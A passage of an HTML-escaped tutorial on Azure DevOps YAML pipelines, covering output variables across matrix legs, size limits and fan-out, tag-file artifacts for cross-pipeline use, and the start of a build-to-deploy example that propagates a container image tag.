style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003espec\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;18.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNode20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003espec\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;20.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNode22\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003espec\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;22.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestMatrix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ each node in parameters.nodeVersions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e${{ node.version }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003enodeSpec\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ node.spec }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNodeTool@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eversionSpec\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(nodeSpec)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;##vso[task.setvariable variable=testResult;isOutput=true]passed\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Run tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAggregate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestMatrix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Generate one variable mapping per matrix leg — stays in sync with the matrix definition\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e${{ each node in parameters.nodeVersions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ node.version }}Result: $[ dependencies.TestMatrix.outputs[\u0026#39;${{ node.version }}.runTests.testResult\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each node in parameters.nodeVersions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;${{ node.version }}: $(${{ node.version }}Result)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Result: ${{ node.version }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen leg names are not known at compile time — for example, when a runtime matrix is populated from a previous step\u0026rsquo;s output — individual output variable references are not possible. The reference path requires a literal leg name; there is no runtime-evaluated accessor for dynamic leg names. For runtime matrix scenarios, use pipeline artifacts to pass data between jobs instead.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"when-output-variables-are-the-wrong-tool\"\u003eWhen Output Variables Are the Wrong Tool\u003c/h2\u003e\n\u003ch3 id=\"size-and-complexity-limits\"\u003eSize and Complexity Limits\u003c/h3\u003e\n\u003cp\u003eOutput variables are for scalar values: build IDs, image tags, environment URLs, pass/fail flags. For anything larger or more structured, use pipeline artifacts.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eCriterion\u003c/th\u003e\n          \u003cth\u003eUse an output variable\u003c/th\u003e\n          \u003cth\u003eUse a pipeline artifact\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eData size\u003c/td\u003e\n          \u003ctd\u003eUnder ~32 KB\u003c/td\u003e\n          \u003ctd\u003eOver ~32 KB\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eData type\u003c/td\u003e\n          \u003ctd\u003eString (ID, tag, flag, URL)\u003c/td\u003e\n          \u003ctd\u003eStructured data (JSON, binary, file)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003ePersistence\u003c/td\u003e\n          \u003ctd\u003eCurrent run only\u003c/td\u003e\n          \u003ctd\u003ePersists after run completion\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCross-pipeline access\u003c/td\u003e\n          \u003ctd\u003eNot supported\u003c/td\u003e\n          \u003ctd\u003eSupported\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eDownstream consumer count\u003c/td\u003e\n          \u003ctd\u003eAny number of jobs\u003c/td\u003e\n          \u003ctd\u003eAny number of jobs or pipelines\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eA variable value that exceeds 32,766 characters triggers a \u003ccode\u003e##[warning]\u003c/code\u003e in the logs and causes truncation. There is no exception — the truncated value is silently used by consumers. If your variable value is a JSON object, an array, or a file path list, serialize it to an artifact file instead.\u003c/p\u003e\n\u003ch3 id=\"multi-consumer-fan-out\"\u003eMulti-Consumer Fan-Out\u003c/h3\u003e\n\u003cp\u003eMultiple downstream jobs can read from the same output variable. Each consumer declares \u003ccode\u003edependsOn: ProducerJob\u003c/code\u003e and maps the same reference independently. There is no fan-out limit.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$(Build.BuildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecomputeTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Compute image tag\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Three parallel jobs all reading the same output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployEastUS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying $(imageTag) to East US\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployWestEU\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying $(imageTag) to West Europe\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNotifySlack\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Image $(imageTag) built — Slack notification sent\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOutput variables are immutable within a run — each consumer reads the same value that the producer set. For very wide fan-outs (10+ consumers) where the variable value is larger than a few hundred bytes, publishing the value as a pipeline artifact reduces the load on the pipeline service\u0026rsquo;s variable store.\u003c/p\u003e\n\u003ch3 id=\"cross-pipeline-communication\"\u003eCross-Pipeline Communication\u003c/h3\u003e\n\u003cp\u003eOutput variables are scoped to a single pipeline run. A separate pipeline run triggered via \u003ccode\u003eresources:\u003c/code\u003e cannot read output variables from the triggering pipeline.\u003c/p\u003e\n\u003cp\u003eFor the common scenario of passing an image tag from a build pipeline to a release pipeline, the reliable pattern is a tag file artifact:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eBuild pipeline\u003c/strong\u003e writes the image tag to a small text file and publishes it as a pipeline artifact named \u003ccode\u003eimage-metadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRelease pipeline\u003c/strong\u003e declares the build pipeline as a \u003ccode\u003eresources\u003c/code\u003e entry and downloads the artifact in its first job\u003c/li\u003e\n\u003cli\u003eThe release job reads the tag from the file: \u003ccode\u003eTAG=$(cat $(Pipeline.Workspace)/image-metadata/imagetag.txt)\u003c/code\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThis pattern survives pipeline re-runs, works across pipeline boundaries, and leaves a durable record of which tag was deployed and when — none of which output variables provide.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-build-to-deploy-pipeline-with-image-tag-propagation\"\u003eHands-On Example: Build-to-Deploy Pipeline with Image Tag Propagation\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A three-stage pipeline (Build → Integration Tests → Deploy) passes a container image tag from the Build stage to the Deploy stage. The Build job computes the tag from the build ID and short commit SHA, then pushes the image. The Integration Tests stage verifies the tagged image is accessible before Deploy proceeds. The Deploy stage uses the exact tag from the Build stage — not \u003ccode\u003elatest\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAn Azure DevOps pipeline with access to a container registry\u003c/li\u003e\n\u003cli\u003eA container registry service connection named \u003ccode\u003emyregistry-sc\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eBasic familiarity with multi-stage YAML syntax\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"step-1-build-stage--compute-and-emit-the-output-variable\"\u003eStep 1: Build stage — compute and emit the output variable\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 1: Build the image and emit the tag as an output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildJob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build and push image\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003echeckout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eself\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        SHORT_SHA=$(git rev-parse --short HEAD)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        IMAGE_TAG=\u0026#34;${BUILD_BUILDID}-${SHORT_SHA}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Image tag: $IMAGE_TAG\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # isOutput=true promotes this variable to the cross-stage output namespace\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        # name: \u0026#39;computeTag\u0026#39; is required — it becomes part of every downstream reference path\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$IMAGE_TAG\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename: computeTag              # Required\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Compute image tag\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Build and push image\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuildAndPush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry-sc\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erepository\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edockerfile\u003c/span\u003e: \u003cspan 